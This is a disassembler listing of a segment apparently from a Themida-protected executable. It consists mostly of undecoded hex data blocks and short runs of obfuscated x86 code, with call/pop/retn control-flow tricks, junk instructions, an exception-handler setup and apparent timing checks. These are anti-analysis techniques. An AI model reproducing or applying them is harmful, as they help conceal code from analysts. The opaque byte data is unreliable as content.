		dd 0DF8B5B06h, 2A7D95FFh, 0F7E906A8h, 56000000h, 0B05B0DB3h
		dd 70E6FC00h, 1F958589h, 71E406A8h, 14FD9D8Bh, 613C06A8h
		dd 0D8830Fh, 8B660000h,	0C8B60FDEh, 2B919D8Bh, 6BA06A8h
		dd 29000000h, 0A810DD95h, 0C1C18B06h, 8B5704E8h, 0A81581BDh
		dd 0F7665F06h, 0C82BF9E2h, 29D18BF8h, 0A83435BDh, 0D99D8906h
		dd 0E906A817h, 0Ch, 10D1BD89h, 0BD2906A8h, 6A801DDh, 3159858Bh
		dd 0FA8B06A8h, 0EFF7E781h, 0C08372B5h, 83F8B307h, 3DB700C0h
		dd 830FD03Bh, 33h, 0E8FEB70Fh, 7, 5F91671Dh, 29030769h
		dd 0A82F318Dh, 53E95B06h, 0F000000h, 689h, 5BD8900h, 0F06A832h
		dd 685h, 61BD8B00h, 8B06A831h, 0A81E4D8Dh, 0C18D8906h
		dd 8306A82Eh, 840F01E1h, 26h, 0A5835FB3h, 6A81E4Dh, 6685B7FEh
		dd 0C547D781h, 31599589h, 48BF06A8h, 894DA538h,	0A82261BDh
		dd 0E906h, 0B58D0000h, 6ABD2A2h, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 1Dh, 55C35141h, 39AD6CF0h, 44E8610Bh
		dd 8CDB8184h, 6A7A5211h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 11D3560Ah, 0CE801h, 1C610000h
		dd 0DBF903AEh, 35D0B911h, 14E90B06h, 3B000000h,	0B59AFEF2h
		dd 95FCD08Ah, 56FA2CAFh, 0E029D683h, 5B067BFBh,	1B3195FFh
		dd 0BD8B06A8h, 6A82E55h, 79EB9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 8937BB02h
		dd 0E18365D8h, 1D9D0BFCh, 0FC06A82Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0B1C35343h,	0BBF3C53Fh, 36679CE7h
		dd 0DF81F97Ah, 7EB4E3C7h, 0B8h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 9D033EC9h
		dd 6A8003Dh, 34A19D8Bh,	0BA06A8h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0EEA1C350h, 7663CC5h, 3CBF6636h, 0C233ADC4h,	0D003E8D1h
		dd 7504E983h, 21B589F4h, 6A06A826h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0F422C356h
		dd 0BE9h, 6440BA00h, 63065D60h,	0EE13EBBAh, 880Dh, 7DBD8B00h
		dd 8B06A829h, 0A805B995h, 0D5958906h, 6006A81Bh, 1C098D09h
		dd 9D8B06A8h, 6A82D09h,	698D8B61h, 6A06A814h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0CAFAC351h, 518E6E26h, 50708E9Fh, 188BC28Bh,	188BC103h
		dd 0E8D1C18Bh, 188BC203h, 0C3816658h, 0B70F2684h, 91BD83DAh
		dd 6A80Ch, 8B840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0D8532EC3h, 81CA6770h
		dd 0F1D376Eh, 0B8FAB7h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 3957C353h
		dd 0A5190ABDh, 0B5BD03D1h, 8D06A817h, 0A84FAF8Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 8A597E81h, 6AB616ACh, 0D8BB66EFh, 89E1FFBAh,	0A80C019Dh
		dd 0BDBD8306h, 6A80Bh, 427840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 890F24C3h
		dd 5, 0D4D791BBh, 0BDBD830Ch, 106A80Bh,	40E840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0A6F3BAC3h, 0D88B662Bh, 0BBDBD83h, 0F0306A8h, 3A986h
		dd 919D8B00h, 8106A81Eh, 0F79F0FF3h, 0BD8B600Fh, 6A81A09h
		dd 29D98C66h, 0A816F98Dh, 4E18006h, 0D1D985BFh,	0FC90A6Fh
		dd 12D84h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 93693310h, 0FB1F3BBAh, 12E9h, 69F01800h
		dd 67B1B3A2h, 0ADFF8335h, 0BD2829Ah, 6032CF40h,	9DBD23FCh
		dd 6106A821h, 0BE1858Bh, 6A06A8h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 2158B3C3h, 0BBBB2796h
		dd 33C5CBEFh, 0A81D5D85h, 0FBB70F06h, 50D98B90h, 0B5958990h
		dd 6A06A833h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0DF98E090h, 1ADF8156h, 5F6F4756h
		dd 0D21D9768h, 66525075h, 0FE216BFh, 6E931h, 6E1C0000h
		dd 1D1370E4h, 3481585Ah, 0CD1E6824h, 2DBD8B75h,	0FF06A80Eh
		dd 0A8074195h, 5F7BBF06h, 858954CAh, 6ABA227h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 23C35040h, 98D89F8h
		dd 0E906A81Ah, 1E4h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0E2C35141h, 9D1F4D19h, 858B6E93h, 6ABA21Fh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 66C35242h
		dd 28DE245Eh, 0C7DA8BF1h, 1800h, 0C9BD8B00h, 8B06A820h
		dd 0ABA223B5h, 799D8B06h, 8B06A82Dh, 0A82B7D85h, 6E806h
		dd 5A2D0000h, 2BA5FB6Ah, 6606895Fh, 0EE8DE8Bh, 12000000h
		dd 0DFE6B63Ah, 378D19A2h, 7A2EA2F2h, 850F31h, 5B000000h
		dd 0BE1858Bh, 850106A8h, 6A81C19h, 0E9044689h, 0Ah, 0DFDFF93Fh
		dd 7DD447A5h, 505047DEh, 52505152h, 585A310Fh, 50310F5Fh
		dd 0F5B5052h, 5A616031h, 89585A58h, 0BD892434h,	6A81B6Dh
		dd 0A21FB5FFh, 6A06ABh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0F4660C3h, 381h,	0FABF0F00h, 0FB93268h
		dd 7EBF669Ah, 2404811Ch, 660F4ACDh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0DBC35747h,	2617A52Fh, 0CE891h
		dd 0A5D60000h, 82013818h, 99C63DE7h, 0BD0BF1DBh, 6A801A5h
		dd 27858D5Bh, 6A06ABA2h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 71F4C355h, 8BF8BF0Fh
		dd 0A805899Dh, 8D896006h, 6A80AADh, 14E85061h, 26000000h
		dd 0A2EAE259h, 0C6C8CF36h, 408E2FBEh, 0CB113DE8h, 0B779C1B7h
		dd 4895F55h, 51006A24h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 918D89A0h, 8906A82Bh, 0A82139BDh
		dd 4195FF06h, 8106A807h, 642628EFh, 8A0F603Dh, 6, 1A39B58Bh
		dd 816606A8h, 61C819C7h, 8DBD0161h, 0C706A827h,	0A80BBD85h
		dd 306h, 0BD8B6000h, 6A807B9h, 226D9589h, 836106A8h, 0ABA227BDh
		dd 840F0006h, 62h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0D6C35141h, 0F509C053h, 7EE0BBAFh, 52E91367h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 7884C352h, 17E1BD29h, 0FE906A8h
		dd 75000000h, 2D35B1B1h, 2366A036h, 1E017CBDh, 3050FB76h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h
		dd 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 43CBEDCEh, 0BF6652DDh, 835FFE74h
		dd 0A80BBDBDh, 850F0306h, 350h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0FCC35747h,	0BD70EE92h, 0F50BB07Bh
		dd 0B4E9EF81h, 0BD8356B8h, 6ABA227h, 19840F00h,	8B000003h
		dd 0A8342DBDh, 27B5FF06h, 0B306ABA2h, 0F995FFD2h, 6A06A815h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0B64EC356h, 3193BFD2h, 0B58B189Dh, 6ABA21Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 47C35747h
		dd 0E2C11ED2h, 0F3E0B1C2h, 106C7E4h, 6A000100h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 59BEC352h, 50DA8B4Ah, 3489DA8Bh, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0BB6692B3h
		dd 0B5FFE06Ch, 6ABA227h, 0CE9h,	25E91B00h, 890E7BFh, 0C168BDF7h
		dd 9995FF84h, 6A06A821h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 59E3C350h, 2E0ED305h
		dd 686069CEh, 305DBD89h, 858906A8h, 6A8227Dh, 0A21BB58Bh
		dd 820F06ABh, 0
; ---------------------------------------------------------------------------
		mov	eax, [ebp+6A80E41h]
		jz	loc_58F875
		push	edi
		mov	di, bx
		pop	edi


loc_58F875:				; CODE XREF: Themida_:0058F86Aj
		mov	[esi+0C4h], eax
		push	0
		push	ecx
		call	sub_58F886
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58F886	proc near		; CODE XREF: Themida_:0058F87Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_58F886	endp

; ---------------------------------------------------------------------------
		dw 0BB0Fh
; ---------------------------------------------------------------------------
		scasd
		scasd
		dec	edi
		cmp	eax, 5B9958Bh
		test	al, 6
		mov	di, 0BD7h
		add	edx, 4
		push	0
		push	eax
		call	sub_58F8B4
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58F8B4	proc near		; CODE XREF: Themida_:0058F8ACp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_58F8B4	endp

; ---------------------------------------------------------------------------
		sbb	[edx+239DAF6Ch], ecx
		mov	bh, ah
		mov	[eax+20h], edx
		push	edx
		mov	bx, 0D24Ch
		pop	edi
		lea	eax, [ebp+6ABB7CEh]
		push	0
		push	ecx
		call	sub_58F8E6
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58F8E6	proc near		; CODE XREF: Themida_:0058F8DEp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_58F8E6	endp

; ---------------------------------------------------------------------------
		push	edx
		fcomp	dword ptr [ecx-64h]
		adc	[eax+ecx*8+75h], esi
		mov	di, cx
		mov	[esi+0B8h], eax
		xor	ebx, [ebp+6A81D9Dh]
		push	0
		mov	[ebp+6A82CE1h],	edi
		push	dword ptr [ebp+6ABA227h]
		mov	[ebp+6A80F65h],	esi
		call	dword ptr [ebp+6A81E1Dh]
		mov	ebx, [ebp+6A815ADh]
		push	eax
		mov	[esp], esi
		push	dword ptr [ebp+6ABA227h]
		push	0
		push	ebp
		call	sub_58F942
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58F942	proc near		; CODE XREF: Themida_:0058F93Ap

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_58F942	endp

; ---------------------------------------------------------------------------
		popf
		sub	[ebp+6A81659h],	ecx
		call	dword ptr [ebp+6A82A69h]
		and	ebx, [ebp+6A80FE1h]
		cmp	dword ptr [ebp+6A82E3Dh], 0
		jz	loc_58F9E1
		push	0
		push	eax
		call	sub_58F97D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58F97D	proc near		; CODE XREF: Themida_:0058F975p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_58F97D	endp

; ---------------------------------------------------------------------------
		db 91h,	0A7h, 0FDh
		dd 0DA8B6671h, 5DA7BF66h, 11E850h, 480F0000h, 98A22C77h
		dd 284ED31h, 65BF33BEh,	0FE83FDEh, 0A8Eh, 5E900h, 0D44E0000h
		dd 5F65A4EAh, 6A243489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0B746C351h
; ---------------------------------------------------------------------------
		push	edx


loc_58F9E1:				; CODE XREF: Themida_:0058F96Cj
		push	dword ptr [ebp+6ABA227h]
		mov	edi, ecx
		call	dword ptr [ebp+6A83185h]
		mov	[ebp+6A816C5h],	ebx
		push	dword ptr [ebp+6ABA227h]
		mov	[ebp+6A80ADDh],	esi
		call	dword ptr [ebp+6A80F55h]
		mov	bx, 5A3Eh
		cmp	dword ptr [ebp+6A8077Dh], 2
		jz	loc_58FA45
		mov	edi, [ebp+6A8256Dh]
		mov	eax, [ebp+6A80D19h]
		mov	di, 0E313h
		jmp	loc_58FA40
; ---------------------------------------------------------------------------
		db 93h
; ---------------------------------------------------------------------------


loc_58FA2E:				; CODE XREF: Themida_:loc_58FA2Ej
		jno	short loc_58FA2E
		lahf
		xchg	eax, ebp
		adc	al, 0D2h
		popa
		icebp
		scasb
; ---------------------------------------------------------------------------
		dd 8AC03EFEh, 3487B6FDh
; ---------------------------------------------------------------------------


loc_58FA40:				; CODE XREF: Themida_:0058FA28j
		mov	byte ptr [eax],	0
		mov	ebx, edi


loc_58FA45:				; CODE XREF: Themida_:0058FA12j
		mov	dword ptr [ebp+6A80DC1h], 0
		push	0
		push	edx
		call	sub_58FA5A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FA5A	proc near		; CODE XREF: Themida_:0058FA52p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_58FA5A	endp

; ---------------------------------------------------------------------------
		dw 0BE5Ah
		dd 2012AF5Bh, 0F4904350h, 0FFF44EE9h, 7DBD2BFFh, 8B06A80Fh
		dd 0FE8C1h, 9E4F0000h, 69AE62CAh, 85FA1500h, 9744C967h
		dd 95BD03FCh, 5F06A817h, 3385858Dh, 6A06A8h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0C1B7CBC3h
		dd 0DA160879h, 8A90CAF4h, 40BF90DCh, 5063302Ch,	0CB1FE7BFh
		dd 17BB904Eh, 6A620693h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 6AF837h, 62A1858Dh, 6A06ACh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 900E1DC3h, 2668DCE9h, 6C2ABB9Ch, 0C0830CB3h,	7E99005h
		dd 22000000h, 9A245ABFh, 535086F3h, 0A9B9BF66h,	6A905Fh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0F3B818C3h, 6AB9943Ch, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 335287B4h
		dd 0A806C1BDh, 78DF8006h, 0BB66006Ah, 95FF30C6h, 6A82541h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 13C35141h
		dd 8D8D1FA7h, 6AB8C7Fh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 6C35747h, 5DC1B3B2h, 6E9C6BDh, 0A3000000h
		dd 3603DDF4h, 6AD1FF2Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 2803C353h, 0CE92ABCh
		dd 0F5000000h, 757F4CDh, 933C80D1h, 0F526C7Fh, 386h, 0D88B6600h
		dd 339DBD83h, 0F0106A8h, 7D85h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0B70F6ADDh
		dd 6ADF8BDAh, 3DBD8B02h, 9006A833h, 8E860h, 44900000h
		dd 8C6CA16Ch, 5F521A9Ch, 5050615Bh, 52310F52h, 5BD98B66h
		dd 5690585Ah, 14959D89h, 0FF5B06A8h, 0A81E1D95h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 7B9010C8h, 33159D8Bh, 0CE906A8h, 0E800000Dh,	0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6AC62ABh
		push	0
		push	esi
		call	sub_58FCCA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FCCA	proc near		; CODE XREF: Themida_:0058FCC2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_58FCCA	endp

; ---------------------------------------------------------------------------
		dw 0ED3Dh
		dd 8E9B8h, 0D92E0000h, 3A80DFD4h, 6AED3Ch, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 742186C3h
		dd 860F5258h, 6, 3019BD8Bh, 8D5F06A8h, 0AB7E2E85h, 8B6CB706h
		dd 0A803019Dh, 51509006h, 6212BF66h, 6A905Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 9A631C3h
		dd 35FF6463h, 0
; ---------------------------------------------------------------------------
		mov	large fs:0, esp
		push	0
		push	ebp
		call	sub_58FD66
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FD66	proc near		; CODE XREF: Themida_:0058FD5Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_58FD66	endp

; ---------------------------------------------------------------------------
		dw 1A3Eh
; ---------------------------------------------------------------------------
		inc	esi
		dec	ecx
		and	al, 89h
		mov	ch, 0F5h
		push	gs
		push	es
		inc	dword ptr [ebp+6A833F1h]
		push	0FFFFFFFFh
		push	0
		push	esi
		call	sub_58FD94
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FD94	proc near		; CODE XREF: Themida_:0058FD8Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_58FD94	endp

; ---------------------------------------------------------------------------
		dd 0FFFB9A9Ch, 0A80E01B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0D7BEBEC7h
		dd 860F77EFh, 5, 1BCD51BBh, 7D95FF70h, 0E906A82Ah, 0FEh
		dd 9D8B00B0h, 6A814E1h,	71E470E6h, 830F613Ch, 0EAh, 9B19D8Bh
		dd 0B60F06A8h, 0D98529C8h, 0BA06A831h, 6, 5DE78166h, 66C18B23h
		dd 243DF81h, 8104E8C1h,	0D9690AE3h, 0BB665164h,	665F97DFh
		dd 9589E2F7h, 6A8005Dh,	0B589C82Bh, 6A82B91h, 8166D18Bh
		dd 0E924CCD3h, 7, 6EB2436Ah, 0E90492A2h, 6, 23BB6653h
		dd 858B5FFBh, 6A80149h,	2EED8D89h, 0E38006A8h, 7C0838Bh
		dd 29D99589h, 0C08306A8h, 0DABF0F00h, 830FD03Bh, 1Ch, 2DA59D8Bh
		dd 5BE906A8h, 0E9000000h, 9, 0E44508DEh, 4CD568C1h, 0F9B70FECh
		dd 9418D8Bh, 890F06A8h,	3, 83FB8B66h, 840F01E1h, 32h, 10E9h
		dd 30A45700h, 92D50E48h, 8ADEF66Dh, 2620980Bh, 41A58344h
		dd 0FE06A809h, 797EE381h, 958949DCh, 6A80149h, 0BF0FC1B7h
		dd 0E9DAh, 0B58D0000h, 6ABDCA8h, 14E9h,	8176B400h, 67EEF362h
		dd 7663E2A8h, 0B158E376h, 7877B49Eh, 6A006AA1h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 6ED2C357h, 14E95E82h, 0A4000000h, 47B3B858h,	841A64C2h
		dd 479BFF41h, 3F91C7BAh, 0FFE95E65h, 0A81B3195h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 9D8B4489h, 6A81AADh,	874B9h,	2DBD8B00h, 8306A809h, 6AFCE1h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 51A426C3h, 0BE9h, 7BA58B00h,	0D2A77098h, 380F4C3Eh
		dd 0B8F8FCh, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0C91CC350h,	0A99D8B73h
		dd 0BA06A81Ah, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_58FFDB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FFDB	proc near		; CODE XREF: Themida_:0058FFD3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_58FFDB	endp

; ---------------------------------------------------------------------------
		db 27h
		dd 892C2AB2h, 0A820C18Dh, 0C233AD06h, 0D003E8D1h, 7504E983h
		dd 56006AF4h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0FE96369h, 69000000h, 0F9E7CE84h, 0BC11F4F7h
		dd 6864C8FDh, 0AE830FEh, 3E000000h, 0AFDE55DDh,	0AC8C1C9Fh
		dd 0DF8B66B0h, 880D5Bh,	8F0F0000h, 3, 8BDE8B66h, 0A805B995h
		dd 8E906h, 30460000h, 0A7FCBABAh, 8D8BF5FEh, 6A81469h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0CAC35343h
		dd 506B88DBh, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 759D0958h, 6606A801h, 6A10B6BFh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8912C357h
		dd 0A81755BDh, 14E806h,	0D8570000h, 0FD047864h,	5F634140h
		dd 26A6044Bh, 39180C72h, 0B5016988h, 6A81DBDh, 91BD835Fh
		dd 6A80Ch, 52840Fh, 0F98A0000h,	0B8h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 8D8D104Ch, 6A84FAFh,	5E9h, 0E57ABA00h, 0E1FF5A5Ch, 14E8h
		dd 0FAF6E100h, 0C1CAA718h, 0E3548796h, 3A9D84F6h, 0B26D96B7h
		dd 5FF88BE8h, 0BBDBD83h, 0F0006A8h, 3F884h, 0DE8B6600h
		dd 0BBDBD83h, 0F0106A8h, 40384h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0B3AE4CAFh
		dd 0E1C5E5FDh, 0BDBD83F9h, 306A80Bh, 39C860Fh, 9D230000h
		dd 6A82259h, 51006A60h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 13564A30h, 99D8BABh, 8906A810h, 0A8199185h
		dd 0D98C6606h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0AAC35242h, 0C1D43BB9h,	8951FB78h, 0A82B499Dh
		dd 0E1805B06h, 0DBB6604h, 0FC90A49h, 0FF84h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0BD895C5Ch, 6A82FEDh, 858BFA8Bh, 6A80BE1h, 0F859D2Bh
		dd 853306A8h, 6A81D5Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 1AC35141h, 49B529FDh,	5006A81Dh, 48993B7h
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 25C2DABh, 0B1E75626h, 6AF98B66h,	53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0AE5A6998h, 0D8B70F51h, 68D8B70Fh, 0E557D728h, 51535250h
		dd 310F5B5Fh, 32B96660h, 616160E3h, 481585Ah, 0C72CD724h
		dd 0FE9F91Ah, 0B0000000h, 0C1C350A0h, 0E674D74Dh, 1AF641BDh
		dd 95FF170Eh, 6A80741h,	0C19D2BF5h, 8906A807h, 0ABA22785h
		dd 1EAE906h, 95890000h,	6A80C29h, 0A21F858Bh, 6A06ABh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0A3735BC3h, 0E71FD7EEh, 0C7F98Bh, 18h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ah, 97C35141h, 5B7D6B0Ah
		dd 0F9BF8FE4h, 664FDEDFh, 8B3DC7BFh, 0ABA223B5h, 7D858B06h
		dd 6A06A82Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 42D3C355h, 8C7AABAAh, 363211B2h
		dd 2AE5BD8Bh, 68906A8h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 8C35747h, 0C8E4465Fh,	810F5F50h, 6, 399D31h
		dd 858B06A8h, 6A80BE1h,	7E9h, 7D100B00h, 0CB72FFA2h, 6A044689h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 12A2C357h, 0B0E8ED5h, 0A820019Dh,	0CE95006h
		dd 40000000h, 0B4D8C74Bh, 0C1D73059h, 892AE219h, 8B562434h
		dd 0A81461BDh, 0B5FF5F06h, 6ABA21Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 5AC35646h, 0AE7FC503h, 0BF0F07DCh
		dd 927368DBh, 9E93E57h,	3000000h, 88A82DFFh, 92654B8Eh
		dd 8C243481h, 6A3E4891h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 3137C357h, 8D39F192h
		dd 0ABA22785h, 0F9952906h, 9006A807h, 48D0F50h,	66000000h
		dd 904028BFh, 14E8h, 0F8601900h, 63621142h, 66E304F6h
		dd 201A48BCh, 9EFF1E48h, 0D381663Ah, 0FF5B133Dh, 0A8074195h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 4F03844Ch, 0BD8BEF01h, 6A80785h,	0BD85C761h
		dd 306A80Bh, 0E9000000h, 8, 45FAD526h, 0CEC1521Eh, 0A227BD83h
		dd 0F0006ABh, 2584h, 0EE800h, 15D00000h, 0A90BE10Ah, 0D7CD561Ch
		dd 0B5B131F4h, 717D381h, 0E95F0D7Dh, 21h, 2FB9BD8Bh, 305006A8h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 52006AC0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 6A019A62h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0BEE6C351h,	0B780124Fh
		dd 3840Fh, 0E7800000h, 0BD83FCABh, 6A80BBDh, 9C850F03h
		dd 66000003h, 83C36FBBh, 0ABA227BDh, 840F0006h,	38Bh, 0E03FF781h
		dd 0B5FF6BB4h, 6ABA227h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 19h, 85C35747h, 6B829D9Ch,	0BFFA8B35h, 3696A363h
		dd 95FFDE8Bh, 6A815F9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 67C35343h, 0D98AD4AEh, 8501ECE8h, 6A820D9h
		dd 0A21BB58Bh, 9D8906ABh, 6A81771h, 106C7h, 6A0001h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0BE4649C3h, 73687FAFh, 5096C69Eh, 58F0Fh, 0CBBF0000h
		dd 965E1019h, 0E8F9B70Fh, 0Dh, 0E0373B52h, 0AC450039h
